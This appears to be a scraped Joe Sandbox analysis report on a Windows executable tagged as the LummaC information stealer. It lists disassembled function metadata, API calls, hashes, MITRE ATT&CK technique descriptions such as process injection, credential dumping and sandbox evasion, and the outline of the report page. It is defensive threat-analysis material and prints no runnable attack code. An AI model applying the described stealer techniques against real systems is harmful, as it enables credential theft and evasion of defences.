Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 112920b442846e34fd239665ee75207caa4d1c98efbf06b29f7863d88297ae7d
Instruction ID: b8279b6cb704e5154cbec7becebd174d9d8ff27de1f026420d801b3a7a5fb062
Opcode Fuzzy Hash: 112920b442846e34fd239665ee75207caa4d1c98efbf06b29f7863d88297ae7d
Instruction Fuzzy Hash: E251DE726016029FFB25BF90D855BBA77A6FF04310F18432EEC4647291E732AE81CB52

Function 00690B86 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0068AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0068C6C1,?,00000000,-00000008), ref: 0068AED2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00690BEA
__dosmaperr.LIBCMT ref: 00690BF1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00690C2B
__dosmaperr.LIBCMT ref: 00690C32

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 2c178f4701363ad1280bb6e35b0c2f11ef35dad529a21ee106e00d1fb3187f96
Instruction ID: c10682da5872958ff763c45ee79845291e055afcd8a24f678868368f3490e710
Opcode Fuzzy Hash: 2c178f4701363ad1280bb6e35b0c2f11ef35dad529a21ee106e00d1fb3187f96
Instruction Fuzzy Hash: 8521DE71600215FFAF60AF61C8819ABB7AFFF00368B10862CF959D7A11DB31EC508B90

Function 00681652 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a906514410c0d9bcb42b25670a260271d7accf8ced909aac4729cfcfb44ca328
Instruction ID: 9413e83aa689c49972feb0537088dd97edf4f8088380fd87ce8c147de29e780c
Opcode Fuzzy Hash: a906514410c0d9bcb42b25670a260271d7accf8ced909aac4729cfcfb44ca328
Instruction Fuzzy Hash: 5D21A171200205AF9B20BF61CC91DAA77AFBF423647144B2CF959CF251EB31EC5287A4

Function 00691F7C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00691F84

Part of subcall function 0068AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0068C6C1,?,00000000,-00000008), ref: 0068AED2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00691FBC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00691FDC

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c93d08c9103ce1f943e71f3469608df3ca4de312fdfa102a7a92e46ba265bcd1
Instruction ID: 835abacce9666ea7ea19267a8c18aa61ea66dad0d0b05c8e0933465a17cfeba3
Opcode Fuzzy Hash: c93d08c9103ce1f943e71f3469608df3ca4de312fdfa102a7a92e46ba265bcd1
Instruction Fuzzy Hash: 7F11E5B250050ABEBB213BF15C89CAF696FCE8A3997100119F901D2602FF709D01D6B5

Function 00672A60 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00672A8D
GetCurrentThreadId.KERNEL32 ref: 00672A9B
std::_Throw_Cpp_error.LIBCPMT ref: 00672AB4
std::_Throw_Cpp_error.LIBCPMT ref: 00672AF3

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: eb28958dcb94e450319bf90837d42db93fcfb68c9b09ba1c2ca512eab3a5c35b
Instruction ID: ac1d7512b63053903d9fcd5156014c636dd31bd79a6adecf14af9686e835f89c
Opcode Fuzzy Hash: eb28958dcb94e450319bf90837d42db93fcfb68c9b09ba1c2ca512eab3a5c35b
Instruction Fuzzy Hash: 9D21B3B4E0420A8FCB58EFA8C5956AEBBF2EF48300F01845DE459AB351D7789940CF55

Function 0069A470 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000), ref: 0069A487
GetLastError.KERNEL32(?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000,?,?,?,00692DF7,?), ref: 0069A493

Part of subcall function 0069A4E4: CloseHandle.KERNEL32(FFFFFFFE,0069A4A3,?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000,?,?), ref: 0069A4F4

___initconout.LIBCMT ref: 0069A4A3

Part of subcall function 0069A4C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0069A461,0069993F,?,?,006934B1,?,00000000,00000000,?), ref: 0069A4D8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000,?), ref: 0069A4B8

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 195cfc72e948d822a67b272de43b55460c10ac82bfe29b06bd7478a618f1d147
Instruction ID: fedd7b42e56578b61224a6c742ecfaed4d39a0a813bb4af475049c2d204350e1
Opcode Fuzzy Hash: 195cfc72e948d822a67b272de43b55460c10ac82bfe29b06bd7478a618f1d147
Instruction Fuzzy Hash: 73F01C36140615BBCF223FD1DC08AD93FABFB8A7A0F114410FA1D85520DA729920AFE5

Function 0067EFA7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0067EFB9
GetCurrentThreadId.KERNEL32 ref: 0067EFC8
GetCurrentProcessId.KERNEL32 ref: 0067EFD1
QueryPerformanceCounter.KERNEL32(?), ref: 0067EFDE

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2e1bb5f6e1f3b0669b275e5d106a8c03225e1deb1e55770a1c868e44a009e1f0
Instruction ID: 7c820e8aef68c50e1677b92553817cf0acfd2d93a6a6dcf95ada45ca7de8a2d9
Opcode Fuzzy Hash: 2e1bb5f6e1f3b0669b275e5d106a8c03225e1deb1e55770a1c868e44a009e1f0
Instruction Fuzzy Hash: E7F0B270C0020CEBCB00EFF4CA4898EBBF4EF5D200BA15996A412E7154EB70AB44CF50

Function 0067A4D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 0067A631
_strcspn.LIBCMT ref: 0067A65F

Strings

@, xrefs: 0067A92F

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 9cde93131be3126c67441178b512410390aba98c9c45e4570fccb4e3f52b71c5
Instruction ID: 93f04faec5c2f63e732a95fa27cb77a228d448a359a54d376137725be7d45a5e
Opcode Fuzzy Hash: 9cde93131be3126c67441178b512410390aba98c9c45e4570fccb4e3f52b71c5
Instruction Fuzzy Hash: 2332B2B4904269CFDB64DF64C981A9DBBF1BF48300F0585AAE84DA7341D734AE85CF52

Function 0068A7E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0068A6E1,?,?,00000000,00000000,00000000,?), ref: 0068A805

Strings

RCC, xrefs: 0068A81F
MOC, xrefs: 0068A817

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 05e2605df3b6f99f7c221b704fc4c1d8e6c877a0ea41c92c6b3d3c0ba0625877
Instruction ID: 1016494cf24ad048d7ad40bf3075514191f121f06af4090354d8cf31a5378c6a
Opcode Fuzzy Hash: 05e2605df3b6f99f7c221b704fc4c1d8e6c877a0ea41c92c6b3d3c0ba0625877
Instruction Fuzzy Hash: 9F418B71900209AFDF16EF94CC81AEEBBB6FF08300F1982AAF90467221D3359951DF65

Function 0068A04C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0068A2C3

Strings

csm, xrefs: 0068A356
csm, xrefs: 0068A2E5

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 7e7864615e8a9d211fd3ebedf73900d943ad022d7aeed8d1d4834b438e8387ec
Instruction ID: 261ed36d33c724ae20194ca0dd8909656455967eff9ae23622e5a7053d1c68af
Opcode Fuzzy Hash: 7e7864615e8a9d211fd3ebedf73900d943ad022d7aeed8d1d4834b438e8387ec
Instruction Fuzzy Hash: E331AF32400218DBEF26AF94C8409AE7B67FF09715B18875BFC4489221C336D8A2DB92

Function 00674B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00674B2B

Part of subcall function 0067BE78: _Yarn.LIBCPMT ref: 0067BE98
Part of subcall function 0067BE78: _Yarn.LIBCPMT ref: 0067BEBC

Strings

^Ig, xrefs: 00674B1C
bad locale name, xrefs: 00674B9B

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Yarn$LockitLockit::_std::_
String ID: ^Ig$bad locale name
API String ID: 360232963-1188953556
Opcode ID: fc427fd012ce731cc1fb697fd8d31c6cbe6fe231dbc91d3b304eecf5e2111920
Instruction ID: f5f541d50dc4dd153d1a811e88ae8c633f1eac761763520790d352c0af5a6d63
Opcode Fuzzy Hash: fc427fd012ce731cc1fb697fd8d31c6cbe6fe231dbc91d3b304eecf5e2111920
Instruction Fuzzy Hash: 4B01D670905108DBDB48FFA9D495BAD7BB2AF44308F04846CE64A57342DF30AA90CB9A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uUtgy7BbF1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
uUtgy7BbF1.exe

Function 006A619E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 0068BD42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00671860 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Function 00684B24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
COMMONLIBRARYCODE

Function 0067A4D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Function 00671700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Function 0068481D Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 006849B3 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 0067B510 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
COMMON

Function 00692D15 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 006934EE Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 0068C862 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00684935 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00671B70 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Function 0068AD27 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE